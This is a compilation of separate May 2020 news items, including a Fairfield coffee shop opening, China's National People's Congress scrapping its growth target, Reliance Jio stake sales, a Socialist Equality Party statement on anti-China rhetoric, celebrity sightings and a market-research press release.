FAIRFIELD, CT  In a week filled with change and uncertainty for Connecticut businesses, a new coffee shop is opening in Fairfield.

Wake-Cup-Coffee, the long-awaited cafe at the Fairfield Metro Station, starts serving customers Friday, two days after retailers and restaurants were allowed to reopen under strict safety protocols after about two months of closures due to the coronavirus outbreak. Co-owner Stoyan Gueorguiev said he decided to open because, despite the pandemic, neighbors have been asking when they can begin patronizing his shop.

Theres a huge amount of interest, said Gueorguiev, who is opening the business with his wife, Nadia Gueorguiev.

The shop will offer coffee, roasted on-site, plus drink options like a Greek frappe or a Wake-Cup-shot  a 50-50 mix of hot Nutella and espresso. Food options will include standards such as croissants and Danishes, but also Bavarian pretzels, as well as sandwiches, soups and salads. All cups and utensils will be compostable, and Stoyan said the business hopes to turn the coffee grounds into fertilizer.

The shop at 71 Constant Comment Way offers a comfortable but sleek atmosphere, with details like subway tile accents, exposed light bulbs and a communal wood table that Stoyan made himself.

The interior of Wake-Cup-Coffee features a large communal table made by one of the owners. (Stoyan Gueorguiev)

I honestly believe that this is one of the best coffee shops in the state, he said.



Due to a state requirement that restaurants only offer outside dining amid the virus outbreak, customers who want to enjoy a cup of coffee or a pastry at the shop can do so at one of five outdoor tables. A former emergency room nurse at Bridgeport Hospital, Stoyan said he will follow all virus-related government mandates for eateries.

When the business does eventually open its indoor seating area, the shop will accommodate about 45 customers in its 2,700-square-foot space, a former warehouse and meat distribution facility. The business will also have two bathrooms.

Wake-Cup-Coffee will be open 6 a.m. to 6 p.m. initially, but as the virus recedes and more commuters return to the train station, Stoyan intends to change the hours to 4:30 a.m. to midnight.

For more information, visit www.facebook.com/wakecupcoffeefairfield.

This article originally appeared on the Fairfield Patch
With focus on positivity, Ashmit Patel is trying to document each day of his life amid lockdown. He has been sharing stories, videos and photos on Instagram of how he is working on to build his immunity and urging people to do the same.

More than anything else, this time calls for a healthy mind and body. Working out daily, increasing your natural vitamin C intake, soaking up the healthy sunlight does make you feel better. It worked for me, so I try to share my experience with my followers. Everyday post workout I do this steam inhalation and that also have been beneficial, he says.

Quarantining with his aged parents Amit and Asha Patel, the actor says he is concerned about their health. Im strict with them. For any kind of work outside the house our help or I step out, that too once a week/ ten days and take proper precaution, he says.

Patel and his father have been financially supporting all their staffs. He along with his friends has been distributing 100 meals a day. He is also staying away from all kinds of negativity. We all must concentrate on making things right, correct our past mistakes. The pollution level has gone down, which is good. We also need to check the population growth, he adds.

Talking about his work getting affected, Patel says, Some of my projects got postponed, we really dont know how were going to shoot when things open up. My DJ gigs will suffer. So yes theres pressure, challenges to find newer ways to survive. Do I stress about it? No. I think about it and trying to be more creative. Some of us, are planning to make a short film professionally while at home and then release it on an OTT platform. Lets see what happens, he says.

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Thousands of party representatives wearing face masks have gathered at China's annual parliamentary meeting as President Xi scraps the country's annual growth target.

The decision comes as the world's second largest economy is stalled due to the coronavirus pandemic while Beijing faces anger from other countries about its handling of the outbreak.

The announcement was delivered by Li Keqiang, China's Premier, as he pledged more government spending following the COVID-19 crisis, setting a sombre tone to this year's meeting at China's National People's Congress.

Thousands of party representatives wearing face masks have gathered at China's annual parliamentary meeting as President Xi scraps the country's annual growth target. Pictured, a group of hostesses serve tea to delegates during the opening session of the Chinese People's Political Consultative Conference (CPPCC) at the Great Hall of the People in Beijing on May 21

The decision comes as the world's second largest economy is stalled due to the coronavirus pandemic while Beijing faces backfire from other countries about its handling of the outbreak. Delegates wearing face masks attend the opening meeting of the third session of the 13th National People's Congress (NPC) at the Great Hall of the People on May 22

The announcement was delivered by Li Keqiang, China's Premier, as he pledged more government spending following the COVID-19 crisis, setting a sombre tone to this year's meeting at China's National People's Congress. Chinese President Xi Jinping is pictured attending the opening of the National People's Congress at the Great Hall of the People on May 22

The omission from Premier Li Keqiang's work report marks the first time China has not set a target for gross domestic product (GDP) since the government began publishing such goals in 1990.

China's economy shrank 6.8% in the first quarter, the first contraction in decades, hit by the outbreak of the new coronavirus, which started in the central Chinese city of Wuhan.

'We have not set a specific target for economic growth for the year, mainly because the global epidemic situation and economic and trade situation are very uncertain, and China's development is facing some unpredictable factors,' Li said at the start of parliament.

Domestic consumption, investment and exports are falling, and the pressure on employment is rising significantly, while financial risks are mounting, he warned.

The announcement was delivered by Li Keqiang (pictured), China's Premier, as he pledged more government spending following the COVID-19 crisis, setting a sombre tone to this year's meeting at China's National People's Congress

China's economy shrank 6.8% in the first quarter, the first contraction in decades, hit by the outbreak of the new coronavirus, which started in the central Chinese city of Wuhan. Pictured, Chinese leaders and delegates wearing face masks bow their heads during the opening session of China's National People's Congress at the Great Hall of the People in Beijing on May 22

Thousands of party representatives wearing face masks have gathered at China's annual parliamentary meeting as President Xi scraps the country's annual growth target. Groups of party delegates are seen gathering before the start of the opening session of China's National People's Congress (NPC) at the Great Hall of the People in the capital city Beijing on May 22

China has set a target to create over 9 million urban jobs this year, according to Li's report, down from a goal of at least 11 million in 2019 and the lowest since 2013.

Ahead of the National People's Congress, the week-long meeting of the largely rubber-stamp parliament, China's top leaders have promised to boost stimulus to bolster the economy amid rising worries job losses could threaten social stability.

Beijing is also planning security legislation for Hong Kong, which Li said will provide a 'sound' legal system and enforcement mechanisms but which critics say could curb autonomy in the city.

The move drew warnings from the United States, falls on Asian stock markets and calls among Hong Kong activists for protests in the former British colony.

China has set a target to create over 9 million urban jobs this year, according to Li's report, down from a goal of at least 11 million in 2019 and the lowest since 2013. Delegates wearing face masks leave after the opening of the meeting yesterday

Thousands of party representatives wearing face masks have gathered at China's annual parliamentary meeting as President Xi scraps the country's annual growth target. Delegates applaud as Chinese President Xi Jinping arrives for the opening session of China's National People's Congress (NPC) at the Great Hall of the People in Beijing on May 22

China is targeting a 2020 budget deficit of at least 3.6% of GDP, above last year's 2.8%, and fixed the quota on local-government special bond issuance at 3.75 trillion yuan (431 billion), up from 2.15 trillion yuan, according to Li. Chinese President Xi Jinping (C) watches as staff wearing face masks refill cups at the opening session of National People's Congress

China is targeting a 2020 budget deficit of at least 3.6% of GDP, above last year's 2.8%, and fixed the quota on local-government special bond issuance at 3.75 trillion yuan (431 billion), up from 2.15 trillion yuan, according to Li.

The government will issue 1 trillion yuan in special treasury bonds this year, the first such issuance. It will transfer 2 trillion yuan raised from the bigger 2020 budget deficit and special anti-coronavirus treasury bonds to local governments, Li said.

Local government bonds could be used to fund infrastructure projects, while special treasury bonds could be used to support firms and regions hit by the outbreak.

The fiscal stimulus in Li's report is equivalent to about 4.1% of China's GDP, according to Reuters calculations based on the fiscal measures announced.

'The annual budget points to fiscal stimulus this year at least on par with that following the global financial crisis,' Julian Evans-Pritchard, senior China economist at Capital Economics, wrote in a note.

But Nie Wen, economist at Shanghai-based Hwabao Trust, said Li's report indicates China will 'not resort to mass stimulus that some market players have been betting on.'

Nie expects GDP growth to slow sharply this year to around 2% or 3% from last year's 6.1%.

This picture taken Thursday shows thousands of delegates attend the opening of the third plenary session of the 13th National Committee of the Chinese People's Political Consultative Conference (CPPCC) at the Great Hall of the People in Beijing city

Thousands of party representatives wearing face masks have gathered at China's annual parliamentary meeting as President Xi scraps the country's annual growth target. Delegates are pictured applauding during the opening session of China's National People's Congress which took place on May 21 at the Great Hall of the People in Beijing

In line with the slower economy, China will raise defence spending by 6.6% this year, the slowest in three decades, while the budget for environmental protection will increase a modest 4%. Delegates are pictured applauding during the opening session of China's National People's Congress which took place on May 21 at the Great Hall of the People in Beijing

'This year's economic growth needs to reach around 3% to create 9 million new urban jobs,' Nie said, adding that the size of the fiscal stimulus announced by Li is about 4 trillion yuan.

In line with the slower economy, China will raise defence spending by 6.6% this year, the slowest in three decades, while the budget for environmental protection will increase a modest 4%.

Monetary policy will be more flexible, Li said, adding that growth in M2 - a broad gauge of money supply - and total social financing will be significantly higher this year.

The People's Bank of China (PBOC) will guide its benchmark lending rate lower, he said.

The decision comes as the world's second largest economy is stalled due to the coronavirus pandemic while Beijing faces backfire from other countries about its handling of the outbreak. Chinese President Xi Jinping (pictured left) and Premier Li Keqiang (pictured right) arrive for the opening session of the National People's Congress (NPC) in Beijing on May 22

The announcement was delivered by Li Keqiang, China's Premier, as he pledged more government spending following the COVID-19 crisis, setting a sombre tone to this year's meeting at China's National People's Congress. Military delegates are pictured today leaving after the opening session of China's National People's Congress (NPC) at the Great Hall of the People

In line with the slower economy, China will raise defence spending by 6.6% this year, the slowest in three decades, while the budget for environmental protection will increase a modest 4%. Pictured, a group of journalists wearing face masks report the opening session of China's National People's Congress (NPC) at the Great Hall of the People in Beijing on May 22

The central bank has cut the Loan Prime Rate (LPR) by 46 basis points since August 2019, when it replaced the previous benchmark lending rate. The one-year LPR rate is now 3.85%.

The PBOC has cut reserve requirement ratios 10 times since early 2018, including three cuts this year.

Small and midsize companies can delay paying loans and interest by a further nine months, through March 2021, and lending to SMEs by big commercial banks should grow more than 40%, Li said.

The tax and fee burden shouldered by companies will be cut by 2.5 trillion yuan (288) this year, Li said.
The Socialist Equality Party and my election campaign reject the chauvinistic attacks against China aimed at shifting responsibility for the mass death due to the coronavirus pandemic from the American ruling class.

The Trump administration is spearheading the anti-China campaign, promoting the lie that China, either purposefully or through negligence, seeded the virus into Europe and the United States. During remarks yesterday at a Ford plant in Michigan, Trump suggested that China deliberately allowed the virus to spread globally in order to undermine the US economy.

Trump is not alone, however. The Democrats are seeking to outflank Trump in the xenophobic anti-China campaign. Democratic nominee and former Vice President Joe Biden has released a series of campaign ads that accuse Trump of not only putting his trust in Chinas leaders but also rolling over for the Chinese.

In Michigan, Democratic Senator Gary Peters has released a series of ads focused on attacking China. Ive always been tough on the Chinese government, declares Peters, the ranking Democrat on the Senate Homeland Security Committee. Supporting the China travel ban, demanding the truth about the spread of COVID-19, and Im fighting to take back production of life-saving drugs and medical supplies from China, so well never be held hostage.

An internal Democratic Party National Committee memo from April lays out the Democratic Party strategy, stating: There is no question that China must be held accountable. But Trump has proven that hes not capable of doing that. He spent weeks and weeks offering absurd flattery of China and unwarranted praise for its transparency as the crisis developed.

The anti-China campaign is an outright lie motivated by three interrelated aims. First, it is aimed at deflecting responsibility for the catastrophic impact of the pandemic from the Trump administration and the American ruling class.

It is a matter of public record that the Chinese government released the gene sequence of the virus on January 13, one week after identifying the virus that causes COVID-19. By the mid- to late-January it was clear to the entire world the danger that the virus posed. On January 28, the World Socialist Web Site published a statement warning, The outbreak has exposed the enormous vulnerability of contemporary society to new strains of infectious disease, dangers for which no capitalist government has adequately prepared.

However, no measures were taken in response. As late as February 28, Trump was still claiming that the coronavirus is going to disappear like a miracle. By March 4, only 1,000 tests for coronavirus had been administered in the US. This was two months after the first warnings from China about the threat.

The Trump administration did not take any measures to protect the population from the pandemic because it did not want to spook Wall Street. Tens of thousands of people have died as a consequence.

Second, the American ruling class wants a political scapegoat on hand when there is an inevitable surge of deaths as a result of the back-to-work campaign.

In late March, the Democrats and Republicans unanimously passed the CARES Act, which sanctioned the multi-trillion-dollar bailout of Wall Street. Immediately, the line from the Trump administration and the media turned from the danger of the pandemic to warnings that the cure cant be worse than the disease. Workers had to get back to work to pay for the massive sums turned over to the rich.

With unbridled recklessness and criminality, the Trump administration, along with Republican and Democratic governors throughout the country, are reopening manufacturing facilities and businesses. By claiming that China is responsible for the coronavirus, the representatives of the ruling elite are seeking to create a narrative that China is to blame for the tens of thousands if not hundreds of thousands of deaths that will follow.

Third, the ruling class is seeking to use the pandemic to escalate its geostrategic conflict with China. The financial oligarchy sees the emergence of China as a major threat to its economic interests. American imperialism has mobilized its military resources to contain China and assert US dominance over the Asia-Pacific region and beyond.

Under the Obama administration, this policy was pursued under the framework of the pivot to Asia. Trump has escalated the conflict with China, implementing trade war measures and threatening military action. US military strategists have declared an end to the war on terror, which has been replaced with great power conflictincluding preparations for war against China and Russia.

For the past three and a half years, the Democratic Party has sought to channel mass opposition to the Trump administration behind the reactionary anti-Russia campaign spearheaded by the intelligence agencies and the military. Now, it is jumping onboard the anti-China narrative.

The Socialist Equality Party rejects the anti-China campaign. We insist that the American financial oligarchy is responsible for the massive toll of the coronavirus pandemic. The fight against the pandemic is inseparably linked to a struggle of workers against the ruling class and its dictatorship over economic and political life. It is, therefore, a fight against capitalism and for socialism, the restructuring of society on the basis of social need, not private profit.

The SEP fights for the international unity of the working class. The pandemic is a world problem and can only be fought through the international collaboration of workers and all those committed to defending human life.

In the fight against the pandemic, workers must reject all efforts to divide them along racial, ethnic and national lines. In particular, the campaign by the American ruling class to blame China for the crisis and divert attention from its own criminal role must be opposed.
Reliance Industries selling over 17 per cent stake in its digital unit Jio Platforms for a combined Rs 78,562 crore in one month will help pare about half of its net debt of Rs 1.61 lakh crore, Moody's Investors Service said on Friday.

The credit rating agen the comment on a day when Reliance announced sale of 2.32 per cent stake in Jio Platforms to global investment firm KKR & Co. Inc for Rs 11,367 crore -- the fifth deal in four weeks that will inject a combined Rs 78,562 crore in the oil-to-telecom conglomerate to help it pare debt.

"Proceeds from these divestments alone will help the company pare around 49 per cent of its net debt of Rs 1.61 lakh crore outstanding as of March 31, 2020," Moody's said in an issuer note.

Exactly a month back, Facebook picked up 9.99 per cent stake in the firm that houses India's youngest but largest telecom company for Rs 43,574 crore.

Within days of that deal, Silver Lake -- the world's largest tech investor -- bought 1.15 per cent stake in Jio Platforms for Rs 5,665.75 crore.

On May 8, US-based Vista Equity Partners bought 2.32 per cent stake in Jio Platforms for Rs 11,367 crore and on May 17 global equity firm General Atlantic picked up 1.34 per cent stake for Rs 6,598.38 crore.

"These divestments are credit positive because proceeds from sales of the stakes will be used for debt reduction and bring the company closer to its target of reducing its net debt to zero by March 2021," Moody's said.

All the transactions are currently underway and subject to regulatory and other approvals.

"Successful completion of the transactions will help to alleviate the negative impact of lower earnings caused by disruptions from the coronavirus outbreak," it added.

The rating agency expects a 16-17 per cent drop in Reliance's consolidated EBITDA for the fiscal year ending March 31, 2021, compared to fiscal 2020.

While EBITDA for the company's digital services segment will continue to grow during the coronavirus outbreak, it expects EBITDA for the refining and petrochemical segments to be weaker as a standstill in global travel and slowdown in economic activity will weaken the demand for transportation fuel and petrochemicals.

"As a result, we expect RIL's leverage, as measured by adjusted net debt/EBITDA, to remain appropriately positioned for its current rating," it said.

Other steps taken by the company to reduce its net debt to zero include the partial divestment of its oil-to-chemical business (USD 15 billion) and fuel retailing business (USD 1 billion) to Saudi Aramco and BP Plc, respectively.

In addition, Reliance hanced a rights issue offering to raise around Rs 53,215 crore and use the proceeds toward debt reduction, it added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
By Arthur I. Cyr





"America and Britain play Cold-War games with Russia in the Arctic." That is the headline of an informative article in the recent issue of The Economist describing expanding naval activity by rival military powers in Northern latitudes. The headline reflects the British fondness for irony: developments in the Arctic region are no game.



Today, melting polar ice encourages both commercial investment and nationalism. Big money and big militaries are involved.



Neither the Obama nor Trump administration have given priority to Arctic developments, but the hard reality remains that important challenges are unfolding. Both China and Russia are extremely assertive in the North. President Vladimir Putin relentlessly pursues power and influence, in this part of the world as in others.



Currently, Putin has sent warships into the Barents Sea for war games. Now NATO has also sent surface ships there for the first time since the Cold War.



Russia's deployment is an element in a wider strategy. In 2021, Russia succeeds Iceland in chairing the Arctic Council, which also includes Canada, Denmark, Finland, Norway, Sweden and the U.S.



Former President Barack Obama visited Alaska five years ago, but the trip was symbolic and rhetorical. This is unfortunate as the U.S. also chaired the Arctic Council at the time.



Historically Britain has led in Polar management, joined in the 20th century by the United States. Now Russia is spearheading organizing a region where their stake is vital. Putin initiatives include regular major international investment conferences.



In April 2019, Russia hosted government leaders from Finland, Iceland, Norway and Sweden in a session of the Arctic Forum held in St. Petersburg. In May 2019, participants from a wider range of countries attended Arctic Science Summit Week (ASSW), held in Arkhangelsk in Russia.



Russia's annexation of Crimea in 2014 put a freeze on Moscow's relations with other Arctic nations, and the wider international community. The Arctic Forum event indicates warming relations for Moscow with close neighbors.



Yet the end of isolation does not mean harmony. Continuing disputes align Russia against Canada and Denmark regarding control of the Lomonosov Ridge, most of which is in international waters. Other nations involved in such disagreements include Finland, Iceland, Sweden and the United States.



Under the 1982 U.N. Convention on the Law of the Sea, a nation can claim resources beyond a 200 mile limit if a direct continuous continental shelf can be established. Such technical measures can mitigate national rivalries. Territorial disagreements among nations in and near the Arctic Circle are complex.



Long term, there is encouraging history regarding international Arctic cooperation. International Polar Years occurred in 1882-1883, 1932-1933 and 2007-2009. The first two inspired the International Geophysical Year (IGY) of 1957-1958, during the height of the Cold War. Discovery of the Van Allen Radiation Belts was among important IGY scientific discoveries.



American scientific and government leadership was instrumental in launching and successfully completing this comprehensive global research and policy enterprise. President Dwight D. Eisenhower also initiated the demilitarization of Antarctica. This was the first major arms control agreement of the Cold War and laid the foundation for others.



Simultaneously, Eisenhower underscored military dimensions, and combined science cooperation with attention to national defense. In August 1958, the new nuclear submarine Nautilus made the first undersea voyage to the North Pole. Enemies and allies took notice.



Beyond the White House, the U.S. government is actively engaged in Arctic cooperation. A leader on a par with Ike would have great opportunities.





Arthur I. Cyr is Clausen Distinguished Professor at Carthage College and author of "After the Cold War" (NYU Press and Palgrave/Macmillan). Contact acyr@carthage.edu


He welcomed his first child with his actress wife Zoe Ventoura in December.

But on Tuesday, former Neighbours star Daniel Macpherson enjoyed some alone time as he went for a swim in Sydney's Maroubra beach.

Donning a pair of budgie smugglers, the 40-year-old flaunted his muscular frame as he soaked up the rays.

No dad bod here! Daniel Macpherson showed off his fit frame as he enjoyed a swim in Sydney - after welcoming his first child with wife Zoe Ventoura

After enjoying a swim, Dan covered his fit frame with a T-shirt and wrapped a towel around his waist.

The new father also wore a pair of sunglasses to protect himself from the sun while he chatted to his friend, actor Darren Gilshenan.

Earlier this month, a spokesperson for Dan and Zoe confirmed swirling rumours that the couple had secretly welcomed a child late last year.

'I am very happy to confirm that Zoe and Dan welcomed a baby boy in December last year,' a spokesperson told The Herald Sun.

Soaking up the sun: After enjoying a swim, Dan covered his fit frame with a T-shirt and wrapped a towel around his waist as he chatted to actor Darren Gilshenan

'Austin Xavier arrived healthy and smiling. Mum, dad and baby are all happy and well,' they added.

Dan and Zoe chose not to announce Austin's birth on social media last year, instead celebrating the arrival with a select group of close friends and family.

The extremely private couple sparked speculation after they were spotted out and about with a baby in tow.

Growing family: Earlier this month, a spokesperson for Dan and his wife Zoe confirmed swirling rumours that the couple had secretly welcomed a child late last year

Meanwhile, Zoe told WHO magazine last year that she prefers to keep her personal life out of the spotlight.

'[In] terms of my privacy, it's something I have been very protective about from the start,' the Packed To The Rafters star said.

'It's just always felt like it needs to be protected as much as possible to keep a sense of normality.'

They tied the knot during a secret Queensland ceremony in 2015, only to shock fans by announcing they were married a week later.
China's National Press and Publication Administration has released a catalog of key publications for rural libraries in 2020.

Altogether 1,781 kinds of books, 113 types of audio and video products and e-publications, 310 kinds of publications in ethnic minority languages, 31 kinds of newspapers and 155 types of periodicals were included in the catalog, according to Thursday's China Press Publication Radio Film and Television Journal.

The administration has required that, in terms of variety and quantity, no less than 70 percent of the publications provided by rural libraries should come from the catalog.

It has also asked provincial-level press and publication bureaus to ensure that no less than 60 kinds of books are updated by every rural library per year, with no less than four reading activities held.
British Health Secretary Matt Hancock said Thursday that a small-scale antibody surveillance study has shown that about 17 percent of people in London and 5 percent in the rest of the country have had COVID-19.

Speaking at his usual remote COVID-19 news briefing in London, Hancock said the study came out of Britain's government-funded effort to develop antibody tests, which he said were not reliable enough for clinical use. He said that for the public at large to know whether they have had the coronavirus, they needed antibody tests at a larger scale.


Hugh Jackman showed off his musclebound arms when he was glimpsed this week in New York with his wife Deborra -Lee Furness.

The 51-year-old X-Men beefcake wore an anorak vest over his tee to ward off the northeastern chill as he picked up some groceries.

He and his ladylove, who have been married since 1996, both took the precaution of wearing masks for their outing.

On the go: Hugh Jackman showed off his musclebound arms when he was glimpsed this week in New York with his wife Deborra -Lee Furness

Deborra-Lee, 64, bundled up in a full-sleeved anorak over a black V-neck that matched her cutoff leggings.

She tied a stylish bandanna in her platinum blonde hair and accessorized the look further with a pair of sunglasses.

The longtime couple are currently self-isolating in New York City with their two children, 20-year-old Oscar and 14-year-old Ava.

Hugh, who first appeared on the Great White Way 17 years ago, is due to return to Broadway in October in a revival of The Music Man.

Hunk: The 51-year-old X-Men beefcake wore an anorak vest over his tee to ward off the northeastern chill as he picked up some groceries

Will he or won't he?: Hugh, who first appeared on the Great White Way 17 years ago, is due to return to Broadway in October in a revival of The Music Man

Wrench in the works: Broadway theaters were shut down in March amid the coronavirus pandemic and an official reopening date has yet to be declared

Broadway theaters were shut down in March amid the coronavirus pandemic and an official reopening date has yet to be declared.

Tickets are being refunded for scrapped shows up until Labor Day but Broadway League president Charlotte St. Martin was dubious about restarting then.

She told the New York Post this Thursday: 'We are not anticipating that on Sept. 7 we can come back unless something, I wouldnt call it a magic bullet, but some health or science thing occurs  that would get us to change our mind, which is why we dont go further out right now.'

Hugh was far more optimistic in late April when he appeared on The Big Ticket, a podcast by iHeart and Variety.

Careful: He and his ladylove, who have been married since 1996, both took the precaution of wearing masks for their outing

The look: Deborra-Lee, 64, bundled up in a full-sleeved anorak over a black V-neck that matched her cutoff leggings

Referring to the revival's producer he said: 'I speak with Scott Rudin every other day and were due to start rehearsals on June 29 and that hasnt changed.'

He dished: 'Our first preview is September 15. But of course, well have to see what happens. But at present, thats still the plan.'

Hugh will be starring in The Music Man opposite Sutton Foster, who has won Tonys for revivals of Anything Goes and Thoroughly Modern Millie.

Chic: She tied a stylish bandanna in her platinum blonde hair and accessorized the look further with a pair of sunglasses

They will be choreographed by Warren Carlyle and directed by Jerry Zaks, a duo who did the same jobs on the smash 2017 revival of Hello, Dolly! starring Bette Midler.

Warren was also the choreographer and director of Hugh Jackman, Back On Broadway, the hunk's concert residency at the Broadhurst Theatre in 2011.

Hugh first came to Broadway in title role of the 2003 original Broadway production of The Boy From Oz, a jukebox musical about the late Peter Allen.

He won a Tony Award for best performance by a leading actor in a musical at the 2004 ceremony, which he also hosted.
Yellow Crane Tower

This spring, Phoebe Fang posted on her Weibo account a series of jewelry designs, with the theme "Wuhan." Wuhan is China's hardest-hit region by the novel coronavirus disease (COVID-19). Those designs highlight the best-known architecture, scenic spots, plants and foods in the city. Fang says she hopes her works will help people better recognize the charms of Wuhan. She also hopes the city will shine like beautiful jewelry.

Dawn Redwood in Wuhan

The first design highlights Wuhan Yangtze River Bridge. "The bridge symbolizes a 'collective memory' for natives of Wuhan. A local friend once told me that people of my parents' age, or older, probably all have posed for photos with the bridge as a background. I was inspired by the structure of the bridge and its bridgehead. My design reflects the stableness and connectivity of Wuhan City," Fang explains.

Wuhan Yangtze River Bridge

Some of her later designs are closely related to her personal experiences. For example, she designed dawn redwood in a scenic spot, named Luoyan Island. "My husband and I went to the spot, on dates, several times. I remembered how beautiful the redwood looked when being reflected by the sunset. Drawing such a design enables me to recall the precious experiences I have had while living in Wuhan," Fang says.

Guozao (meaning "having breakfast" in Wuhan dialect)

Fang has received encouraging feedback from viewers. The feedback helps her realize the "true power" of works of art. Also, she is happy to see her designs have given "strength" to other people. "For natives of Wuhan, who are now in other places, they miss their hometown after they look at my works. For people who have never been to Wuhan, they long to visit this city one day in the future. As long as I am inspired by this charming city, I will continue to create such designs," Fang adds.

Phoebe Fang, a native of Yangzhou, in East China's Jiangsu Province, has lived in Wuhan, capital of Central China's Hubei Province, for eight years. Fang is currently a teacher with the Gemmological Institute of China University of Geo-sciences (GIC), in Wuhan.

Pictures Supplied by Phoebe Fang

(Source: Women of China English Monthly April 2020 issue)
Good news for Offaly families - The United Nations has announced dates that members of the Irish Defence Forces serving with UNIFIL in Lebanon will return home.

The confirmed rotation of the 115th Irish Battalion home from Lebanon is now planned for 21st and 29th June 2020.

However the troops will have to spend two weeks in isolation on their return to Ireland - because of coronavirus.

In early April the UN Secretary General Antonio Guterres said peace keepers would not return until the end of June. They were originally due home in May.

In a statement the Defence Forces said: "We acknowledge that this delay to the original rotation dates is disappointing to our personnel and their families who have been separated from their loved ones for over six months. Their sacrifice and resilience during this time of national crisis has been very commendable.

"Confirmation of the rotation follows extensive engagement by the General Staff to secure an exemption from the UN, and for our troops to rotate home as close to the original dates as possible.

"Upon their arrival, personnel will be required to spend 14 days in self-isolation in accordance with HSE guidelines on COVID19.



"The 116th Battalion will deploy to UNIFIL to take over control of the Irish Area of Responsibility. Before departure, they will have to complete a 14 day quarantine period in Coolmoney Camp and Gormanston Camp. This is in compliance with the UN Secretary General's Directive, issued on 04th April 2020"
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San Francisco, 20 May 2020: The Report North America Concrete Floor Coatings Market Size, Share & Trends Analysis Report, By Product (Epoxy, Polyurethanes, Polyaspartics), By Application (Indoor, Outdoor) And Segment Forecasts To 2020

The North America concrete floor coatings market is expected to reach USD 1.01 billion by 2020, according to a new study by Grand View Research, Inc. Construction industry growth in the U.S. post the Great Recession in 2008 - 2009, along with expansion of the domestic aerospace and energy sectors are anticipated to fuel concrete floor coatings demand over the forecast period. Introduction of the National Infrastructural Plan (NIP) by the government of Mexico, which is aimed at promoting residential and commercial infrastructure, is likely to augment market growth. The government plans to invest USD 590 billion over a period of four years between 2014 and 2018.

Indoor was the largest application segment, accounting for over 60% of the North American concrete floor coatings market volume in 2013. Housing sector growth in the U.S. and Canada is anticipated is expected to fuel concrete floor coatings demand in indoor applications over the forecast period. However, outdoor coatings are anticipated to witness fastest growth over the next six years owing to new product launches at competitive prices. Furthermore, rising consumer awareness regarding protection of exteriors to boost life span of the structure is expected to drive market growth during the projected period.

Access Research Report of North America Concrete Floor Coatings Market @ https://www.grandviewresearch.com/industry-analysis/north-america-concrete-floor-coatings-market

Further key findings from the study suggest:

North America concrete floor coatings market demand was 214.3 kilo tons in 2013 and is expected to reach 329.0 kilo tons by 2020, growing at a CAGR of 6.3% from 2014 to 2020

Epoxy dominated the North America concrete floor coatings market, accounting for over 50% of the overall volume in 2013. Low cost of epoxy resin as compared to its counterparts is anticipated to have a positive impact on market growth in the near future.

Polyaspartics concrete floor coatings are expected to witness fastest growth over the forecast period owing to their superior properties including U.V. protection, fast curing and high temperature range

S. was the largest concrete floor coatings market in 2013, accounting for over 80% of regional volume share. Robust infrastructure development of commercial and residential structures in the U.S. is anticipated to fuel concrete floor coatings market demand. High prevalence of numerous manufacturing industries including automotive, FMCG, pharmaceutical, food & beverage and oil & gas sectors in the U.S. is expected to promote demand for concrete floor coatings over the forecast period.

North America concrete floor coatings market was dominated by four companies viz., Sika, BASF, General Polymers and Stonhard together accounting for over 40% of total market share in 2013. Other market participants include PPG, Tennant Company, Pratt & Lambert Paints, Elite Crete System, Behr Process Corporation, Bayer and DuPont

Browse more reports of this category by Grand View Research at: https://www.grandviewresearch.com/industry/paints-coatings-and-printing-inks

Grand View Research has segmented the North America concrete floor coatings market on the basis of product, application and region:

North America Concrete Floor Coatings Product Outlook (Volume, Kilo Tons; Revenue, USD Million, 2012 - 2020)

Epoxy

Polyurethanes

Polyaspartics

Others

North America Concrete Floor Coatings Application Outlook (Volume, Kilo Tons; Revenue, USD Million, 2012 - 2020)

Outdoor

Indoor

North America Concrete Floor Coatings Country Outlook (Volume, Kilo Tons; Revenue, USD Million, 2012 - 2020)

U.S.

Canada

Mexico

Access Press Release of North America Concrete Floor Coatings Market @ https://www.grandviewresearch.com/press-release/north-america-concrete-floor-coatings-market

About Grand View Research

Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.

For More Information:www.grandviewresearch.com
Here are some of todays top stories.

Johnson & Johnson to discontinue sales of talc-based baby powder in U.S., Canada Johnson & Johnson announced Tuesday that it will discontinue sales of its talc-based baby powder in Canada and the United States. The company has faced thousands of lawsuits alleging the powder contains asbestos, a claim the company denies.

Astronauts fly to Florida to prep for historic May 27 launch to space station Two astronauts flew to Florida on Wednesday to begin final preparations for launch next week atop a SpaceX Falcon 9 rocket, the first piloted flight to orbit from U.S. soil since the space shuttles retirement nearly nine years ago.

Apple and Google clash with health officials on COVID-19 contact tracing Despite early excitement, virus-tracing apps built by Apple and Google are likely useless, according to health officials. CNET senior producer Dan Patterson joined CBSN to talk about why this once promising technology now looks to be a failure.

Trump says hell stop taking hydroxychloroquine in a day or two President Trump will soon be ending his course of hydroxychloroquine, he told reporters Wednesday. I think the regimen finishes in a day or two  yeah, I think its two days, two days, he said during a meeting with Arkansas Governor Asa Hutchinson and Kansas Governor Laura Kelly.

Americans turn to cycling during the coronavirus pandemic You can see it all over the country. Streets and trails are filling up as Americans fall back in love with biking. Its amazing. Im going to be riding around way more, said Maryna Matorina. After weeks cooped up inside, Matorina and Maria Ng couldnt take it anymore and decided to pedal their way through the .

Coronavirus pandemic: Updates from around the world  CNN By Jessie Yeung and Adam Renton, CNN Updated 0529 GMT (1329 HKT) May 21, 2020 The receptors that let the coronavirus into our cells appear to be less common in childrens noses  which may be why kids are less likely to get sick with the virus, according to a new study.

Covid-19 tsunami overwhelmed a whole generation in northern Italy. Now their families want answers Plot 87 occupies a barren corner of Milans austere main cemetery. Here, the soil has been freshly turned to make new graves, 120 in all, the morning we visited. Another body was to be buried that afternoon.

Fauci conspicuously stops doing TV interviews as White House moves to reopen economy The nations top infectious disease expert, Dr. Anthony Fauci, has been conspicuously absent from national television interviews over the last two weeks, as the White House moves ahead with reopening the economy.

TikTok needs to win over Washington. Hiring a CEO from Disney wont be enough TikToks hiring of Disney veteran Kevin Mayer was widely seen as a move  at least in part  to win over the growing number of US lawmakers who claim the popular short video platform is a threat to Americas national security.

The body of former WWE star Shad Gaspard found on a California beach Gaspard, 39, was swimming at the newly reopened Marina Del Rey Sunday when he was apparently caught in a rip current.

